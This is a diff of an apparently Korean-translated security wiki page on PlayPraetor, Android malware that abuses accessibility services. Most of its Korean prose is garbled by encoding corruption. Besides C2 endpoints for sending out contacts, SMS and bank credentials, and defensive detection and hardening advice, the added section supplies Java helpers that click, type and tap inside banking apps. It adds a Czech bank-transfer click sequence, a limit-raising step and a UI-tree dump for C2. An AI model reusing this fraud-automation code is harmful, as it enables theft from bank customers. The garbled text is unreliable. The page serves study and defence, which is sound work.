+> ์์ธ ์์: Tapjacking ํ์ด์ง ๋ด *Accessibility Overlay Phishing* ์น์
.
-### 2. ๊ธฐ๊ธฐ ๋ด ์ฌ๊ธฐ ์๋ํ
-**PlayPraetor**์ ๊ฐ์ ์
์ฑ์ฝ๋ ํจ๋ฐ๋ฆฌ๋ ์ด์์๊ฐ ๊ณ ์์ค ๋ช
๋ น(`init`, `update`, `alert_arr`, `report_list`, โฆ)์ ๋ฐํํ ์ ์๋ ์ง์์ ์ธ WebSocket ์ฑ๋์ ์ ์งํฉ๋๋ค. ์ด ์๋น์ค๋ ์ด๋ฌํ ๋ช
๋ น์ ์์ ์ ์์ค ์ ์ค์ฒ๋ก ๋ณํํ์ฌ, ํด๋น ๊ธฐ๊ธฐ์ ์ฐ๊ฒฐ๋ ๋ค๋จ๊ณ ์ธ์ฆ์ ์ฝ๊ฒ ์ฐํํ๋ ์ค์๊ฐ ๋ฌด๋จ ๊ฑฐ๋๋ฅผ ๋ฌ์ฑํฉ๋๋ค.
+### 2. On-Device Fraud automation
+**PlayPraetor**์ ๊ฐ์ ์
์ฑ์ฝ๋ ๊ณ์ด์ ์ด์์๊ฐ ๊ณ ์์ค ๋ช
๋ น(`init`, `update`, `alert_arr`, `report_list`, โฆ)์ ๋ฐํํ ์ ์๋ ์ง์์ ์ธ WebSocket ์ฑ๋์ ์ ์งํฉ๋๋ค. ์๋น์ค๋ ์ด๋ฌํ ๋ช
๋ น์ ์์ ์ ์์ค ์ ์ค์ฒ๋ก ๋ณํํ์ฌ, ํด๋น ๊ธฐ๊ธฐ์ ์ฐ๋๋ ๋ค์ค ์ธ์ฆ์ ์ฝ๊ฒ ์ฐํํ๋ ์ค์๊ฐ ๋ฌด๋จ ๊ฑฐ๋๋ฅผ ์ํํฉ๋๋ค.
-### 3. ํ๋ฉด ์คํธ๋ฆฌ๋ฐ ๋ฐ ๋ชจ๋ํฐ๋ง
-**MediaProjection API**์ RTMP ํด๋ผ์ด์ธํธ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ๊ฒฐํฉํ์ฌ RAT๋ ๋ผ์ด๋ธ ํ๋ ์ ๋ฒํผ๋ฅผ `rtmp://:1935/live/`๋ก ๋ฐฉ์กํ ์ ์์ผ๋ฉฐ, ์ด๋ ์ ๊ทผ์ฑ ์์ง์ด UI๋ฅผ ๊ตฌ๋ํ๋ ๋์ ์ ์๊ฒ ์๋ฒฝํ ์ํฉ ์ธ์์ ์ ๊ณตํฉ๋๋ค.
+### 3. Screen streaming & monitoring
+**MediaProjection API**๋ฅผ RTMP ํด๋ผ์ด์ธํธ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ๊ฒฐํฉํ๋ฉด, RAT๋ ๋ผ์ด๋ธ ํ๋ ์๋ฒํผ๋ฅผ `rtmp://:1935/live/`๋ก ๋ฐฉ์กํ ์ ์์ด Accessibility ์์ง์ด UI๋ฅผ ์ ์ดํ๋ ๋์ ๊ณต๊ฒฉ์์๊ฒ ์์ ํ ์ํฉ ์ธ์์ ์ ๊ณตํฉ๋๋ค.
---
-## PlayPraetor โ ๋ช
๋ น ๋ฐ ์ ์ด ์ํฌํ๋ก์ฐ
+## PlayPraetor โ command & control workflow
-1. **HTTP(S) ํํธ๋นํธ** โ ํ๋์ฝ๋ฉ๋ ๋ชฉ๋ก์ ๋ฐ๋ณตํ์ฌ ํ๋์ ๋๋ฉ์ธ์ด ํ์ฑ C2์ ํจ๊ป `POST /app/searchPackageName`์ ์๋ตํ ๋๊น์ง.
-2. **WebSocket (ํฌํธ 8282)** โ ์๋ฐฉํฅ JSON ๋ช
๋ น:
-* `update` โ ์๋ก์ด conf/APK ํธ์
+1. **HTTP(S) heartbeat** โ ํ๋์ฝ๋ฉ๋ ๋ชฉ๋ก์ ์ํํ์ฌ ํ๋์ ๋๋ฉ์ธ์ด ํ์ฑ C2๋ก `POST /app/searchPackageName`์ ์๋ตํ ๋๊น์ง ๋ฐ๋ณตํฉ๋๋ค.
+2. **WebSocket (port 8282)** โ ์๋ฐฉํฅ JSON ๋ช
๋ น:
+* `update` โ ์๋ก์ด conf/APKs ํธ์
* `alert_arr` โ ์ค๋ฒ๋ ์ด ํ
ํ๋ฆฟ ๊ตฌ์ฑ
-* `report_list` โ ํ๊ฒ ํจํค์ง ์ด๋ฆ ๋ชฉ๋ก ์ ์ก
-* `heartbeat_web` โ ์ ์ง
-3. **RTMP (ํฌํธ 1935)** โ ๋ผ์ด๋ธ ํ๋ฉด/๋น๋์ค ์คํธ๋ฆฌ๋ฐ.
-4. **REST ์ ์ถ** โ
-* `/app/saveDevice` (์ง๋ฌธ)
+* `report_list` โ ๋์ ํจํค์ง ์ด๋ฆ ๋ชฉ๋ก ์ ์ก
+* `heartbeat_web` โ keep-alive
+3. **RTMP (port 1935)** โ ๋ผ์ด๋ธ ํ๋ฉด/๋น๋์ค ์คํธ๋ฆฌ๋ฐ.
+4. **REST exfiltration** โ
+* `/app/saveDevice` (fingerprint)
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
-* `/app/saveCardPwd` (์ํ ์๊ฒฉ ์ฆ๋ช
)
+* `/app/saveCardPwd` (bank creds)
-**AccessibilityService**๋ ์ด๋ฌํ ํด๋ผ์ฐ๋ ๋ช
๋ น์ ๋ฌผ๋ฆฌ์ ์ํธ์์ฉ์ผ๋ก ๋ณํํ๋ ๋ก์ปฌ ์์ง์
๋๋ค.
+๋ก์ปฌ ์์ง์ธ **AccessibilityService**๊ฐ ์ด๋ฌํ ํด๋ผ์ฐ๋ ๋ช
๋ น์ ๋ฌผ๋ฆฌ์ ์ํธ์์ฉ์ผ๋ก ์ ํํฉ๋๋ค.
---
-## ์
์ฑ ์ ๊ทผ์ฑ ์๋น์ค ํ์ง
+## Detecting malicious accessibility services
* `adb shell settings get secure enabled_accessibility_services`
-* ์ค์ โ ์ ๊ทผ์ฑ โ *๋ค์ด๋ก๋๋ ์๋น์ค* โ Google Play์์ **์๋** ์ฑ์ ์ฐพ์ต๋๋ค.
-* MDM / EMM ์๋ฃจ์
์ `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+)๋ฅผ ์ ์ฉํ์ฌ ์ฌ์ด๋๋ก๋๋ ์๋น์ค๋ฅผ ์ฐจ๋จํ ์ ์์ต๋๋ค.
-* ์คํ ์ค์ธ ์๋น์ค ๋ถ์:
+* Settings โ Accessibility โ *Downloaded services* โ Google Play์์ ๋ฐฐํฌ๋์ง ์์ ์ฑ์ ํ์ธํ์ธ์.
+* MDM / EMM ์๋ฃจ์
์ ์ฌ์ด๋๋ก๋ฉ๋ ์๋น์ค๋ฅผ ์ฐจ๋จํ๊ธฐ ์ํด `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY`(Android 13+)๋ฅผ ์ ์ฉํ ์ ์์ต๋๋ค.
+* ์คํ ์ค์ธ ์๋น์ค๋ฅผ ๋ถ์:
```bash
adb shell dumpsys accessibility | grep "Accessibility Service"
```
---
-## ์ฑ ๊ฐ๋ฐ์๋ฅผ ์ํ ๊ฐํ ๊ถ์ฅ ์ฌํญ
+## Hardening recommendations for app developers
-* ๋ฏผ๊ฐํ ๋ทฐ์ `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+)๋ก ํ์ํฉ๋๋ค.
-* `setFilterTouchesWhenObscured(true)`์ `FLAG_SECURE`๋ฅผ ๊ฒฐํฉํ์ฌ ํญ/์ค๋ฒ๋ ์ด ํ์ด์ฌํน์ ๋ฐฉ์งํฉ๋๋ค.
-* `WindowManager.getDefaultDisplay().getFlags()` ๋๋ `ViewRootImpl` API๋ฅผ ํด๋งํ์ฌ ์ค๋ฒ๋ ์ด๋ฅผ ๊ฐ์งํฉ๋๋ค.
-* `Settings.canDrawOverlays()` **๋๋** ์ ๋ขฐํ ์ ์๋ ์ ๊ทผ์ฑ ์๋น์ค๊ฐ ํ์ฑํ๋ ๊ฒฝ์ฐ ์๋์ ๊ฑฐ๋ถํฉ๋๋ค.
+* ๋ฏผ๊ฐํ ๋ทฐ์ `android:accessibilityDataSensitive="accessibilityDataPrivateYes"`(API 34+)๋ฅผ ํ์ํ์ธ์.
+* `setFilterTouchesWhenObscured(true)`๋ฅผ `FLAG_SECURE`์ ๊ฒฐํฉํ์ฌ tap/overlay hijacking์ ๋ฐฉ์งํ์ธ์.
+* `WindowManager.getDefaultDisplay().getFlags()` ๋๋ `ViewRootImpl` API๋ฅผ ํด๋งํ์ฌ ์ค๋ฒ๋ ์ด๋ฅผ ํ์งํ์ธ์.
+* `Settings.canDrawOverlays()` **๋๋** ์ ๋ขฐ๋์ง ์๋ Accessibility ์๋น์ค๊ฐ ํ์ฑํ๋์ด ์์ผ๋ฉด ๋์์ ๊ฑฐ๋ถํ์ธ์.
---
-## ์ฐธ๊ณ ๋ฌธํ
-* [PlayPraetor์ ์งํํ๋ ์ํ: ์ค๊ตญ์ด๋ฅผ ์ฌ์ฉํ๋ ํ์์๋ค์ด ์ ์ธ๊ณ์ ์ผ๋ก Android RAT๋ฅผ ํ์ฅํ๋ ๋ฐฉ๋ฒ](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
-* [Android ์ ๊ทผ์ฑ ๋ฌธ์ โ UI ์ํธ์์ฉ ์๋ํ](https://developer.android.com/guide/topics/ui/accessibility/service)
+## ATS automation cheat-sheet (Accessibility-driven)
+Malware๋ Accessibility APIs๋ง์ผ๋ก ์ํ ์ฑ์ ์์ ์๋ํํ ์ ์์ต๋๋ค. ์ผ๋ฐ์ ์ธ ์์ ๋์:
+```java
+// Helpers inside your AccessibilityService
+private List byText(String t){
+AccessibilityNodeInfo r = getRootInActiveWindow();
+return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
+}
+private boolean clickText(String t){
+for (AccessibilityNodeInfo n: byText(t)){
+if (n.isClickable()) return n.performAction(ACTION_CLICK);
+AccessibilityNodeInfo p = n.getParent();
+if (p != null) return p.performAction(ACTION_CLICK);
+}
+return false;
+}
+private void inputText(AccessibilityNodeInfo field, String text){
+Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
+field.performAction(ACTION_SET_TEXT, b);
+}
+private void tap(float x, float y){
+Path p = new Path(); p.moveTo(x,y);
+dispatchGesture(new GestureDescription.Builder()
+.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
+}
+```
+์์ ํ๋ฆ (์ฒด์ฝ์ด โ ์์ด ๋ ์ด๋ธ):
+- "Novรก platba" (์ ๊ฒฐ์ ) โ ํด๋ฆญ
+- "Zadat platbu" (๊ฒฐ์ ์
๋ ฅ) โ ํด๋ฆญ
+- "Novรฝ pลรญjemce" (์ ์์ทจ์ธ) โ ํด๋ฆญ
+- "Domรกcรญ ฤรญslo รบฤtu" (๊ตญ๋ด ๊ณ์ข๋ฒํธ) โ ํฌ์ปค์ค ๋ฐ `ACTION_SET_TEXT`
+- "Dalลกรญ" (๋ค์) โ ํด๋ฆญ โ โฆ "Zaplatit" (์ง๋ถ) โ ํด๋ฆญ โ PIN ์
๋ ฅ
+
+๋์ฒด: ํ
์คํธ ์กฐํ๊ฐ ์ปค์คํ
์์ ฏ ๋๋ฌธ์ ์คํจํ ๋ ํ๋์ฝ๋ฉ๋ ์ขํ์ `dispatchGesture` ์ฌ์ฉ.
+
+๋ํ ๊ด์ฐฐ๋จ: limits UI๋ก ์ด๋ํ์ฌ ์ด์ฒด ์ ์ ์ผ์ผ ํ๋๋ฅผ ๋๋ ค `check_limit` ๋ฐ `limit`์ ๋ํ ์ฌ์ ๋จ๊ณ๋ฅผ ์ํ.
+
+## ํ
์คํธ ๊ธฐ๋ฐ ์ ์ฌ ์คํฌ๋ฆฐ ์คํธ๋ฆฌ๋ฐ
+์ ์ง์ฐ ์๊ฒฉ ์ ์ด๋ฅผ ์ํด ์ ์ฒด ๋น๋์ค ์คํธ๋ฆฌ๋ฐ ๋์ ํ์ฌ UI ํธ๋ฆฌ์ ํ
์คํธ ํํ์ ๋คํํ์ฌ ๋ฐ๋ณต์ ์ผ๋ก C2๋ก ์ ์กํ๋ค.
+```java
+private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
+if (n==null) return;
+Rect b = new Rect(); n.getBoundsInScreen(b);
+CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
+sb.append(indent).append("[").append(cls).append("] ")
+.append(txt==null?"":txt).append(" ")
+.append(b.toShortString()).append("\n");
+for (int i=0;i